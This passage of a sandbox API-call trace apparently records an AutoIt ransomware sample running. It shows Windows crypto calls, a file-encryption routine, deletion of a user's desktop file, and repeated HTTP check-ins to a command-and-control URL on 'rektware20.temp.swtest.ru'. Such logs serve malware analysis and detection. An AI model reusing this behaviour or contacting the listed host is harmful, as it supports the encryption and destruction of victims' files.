hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0081.019] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.019] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0081.019] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.020] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0081.020] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.020] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.020] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.020] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.020] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0081.020] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.020] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.020] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0081.020] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0081.020] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0081.020] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0081.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e050, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0081.022] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0081.022] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0081.022] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.022] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.022] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0081.022] FreeLibrary (hLibModule=0x74c60000) returned 1 [0081.022] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.022] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.022] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.022] CloseHandle (hObject=0x3c8) returned 1 [0081.024] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.024] CloseHandle (hObject=0x3d8) returned 1 [0081.172] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.173] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0081.173] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", lpFilePart=0x0) returned 0x2e [0081.173] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\qpuzir9.mp4")) returned 0x20 [0081.173] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c530 [0081.173] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\QpuZiR9.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\qpuzir9.mp4")) returned 1 [0081.213] FindNextFileW (in: hFindFile=0x164c530, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0081.213] FindClose (in: hFindFile=0x164c530 | out: hFindFile=0x164c530) returned 1 [0081.214] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0081.214] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.214] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.214] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.214] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0081.214] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0081.214] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.215] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0081.215] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0081.215] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0081.215] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0081.215] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e08, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e08, lpdwBufferLength=0x130ef8c) returned 1 [0081.215] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0081.215] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0081.215] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0081.216] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0081.216] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0081.216] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0081.216] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0081.216] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0081.216] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0081.217] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0081.217] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0081.217] CloseHandle (hObject=0x0) returned 0 [0081.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.217] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dXz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Xz6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VsNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sNpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NpQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pQ2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9.xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.218] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.219] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xls", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0081.219] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.219] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0081.219] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0081.219] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0081.219] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0081.219] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0081.219] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0081.219] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0081.219] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d60, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d60, lpdwBufferLength=0x130ee1c) returned 1 [0081.219] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0081.219] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0081.219] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0081.220] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0081.220] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0081.220] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0081.220] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0081.220] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629510, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629510*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0081.220] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0081.221] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0081.221] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0081.221] CloseHandle (hObject=0x0) returned 0 [0081.221] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.221] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\VsNpQ2d9.xls", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0081.221] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0081.221] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.221] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0081.221] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.221] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.221] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0081.221] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.221] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0081.222] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.222] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.222] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0081.222] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.222] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.222] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.222] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.222] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.222] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0081.222] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0081.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0081.223] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0081.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0081.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e290, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0081.223] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0081.223] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0081.225] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.225] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.225] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0081.226] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.226] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 